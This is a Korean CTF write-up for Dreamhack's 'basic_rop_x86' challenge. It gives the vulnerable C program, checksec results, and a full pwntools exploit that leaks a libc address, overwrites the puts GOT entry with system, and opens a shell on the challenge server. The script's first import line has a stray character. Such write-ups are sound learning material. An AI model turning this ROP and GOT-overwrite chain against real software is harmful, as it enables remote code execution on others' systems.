C언어 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

dreamhack에 basic_rop_x86 문제

풀이

checksec 결과

CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial

카나리는 존재하지 않으니 카나리 우회를 하지 않아도 되며, NX 우회를 하면 된다.

먼저 오버플로우는 read(0, buf, 0x400) 여기 부분에서 일어난다.

우회를 위해 GOT OverWrite 기법으로 Put의 got을 Overwrite 할 것이다.

32bit 기법은 호출 뒤 스택을 정리하기 때문에 호출 뒤에 pop 가젯을 부른다

32bit는 pop 가젯의 레지스터가 상관이 없으므로 pop 가젯을 아무 가젯이나 부르면 된다

그리고 ASLR 우회를 위해 BSS 영역에 “/bin/sh” 문자열 저장

put got을 system 주소로 변경하고, put 호출 → system 호출

풀 익스플로잇 코드

from pwn import *o

# p = process('./basic_rop_x86')
p = remote('host3.dreamhack.games', 15792)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
#context.log_level = 'debug'
# 필요한 주소들
read_plt = e.plt['read']
read_got = e.got['read']
put_plt = e.plt['puts']
put_got = e.got['puts']

pop_ret = 0x0804868b #pop ebp ; ret
pop_pop_pop_ret = 0x08048689 # pop esi ; pop edi ; pop ebp ; ret
main = 0x080485d9
bss = e.bss()
# 익스플로잇
pay = b'A'*0x48

# put(read@got)
pay += p32(put_plt)
pay += p32(pop_ret) + p32(read_got)

# read(0, bss, 8)
pay += p32(read_plt)
pay += p32(pop_pop_pop_ret) + p32(0) + p32(bss) + p32(8)

# read(0, put@got, 4)
pay += p32(read_plt)
pay += p32(pop_pop_pop_ret) + p32(0) + p32(put_got) + p32(4)

# put("/bin/sh") -> system("/bin/sh")
pay += p32(put_plt) + b'AAAA' + p32(bss)

p.send(pay)

p.recvuntil(b'A'*0x40)
read = u32(p.recvn(4))
print(p32(read))
# read 함수로 lib base 구하고 system 주소 계산
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']

p.send(b'/bin/sh\\x00')
p.sendline(p32(system))
p.interactive()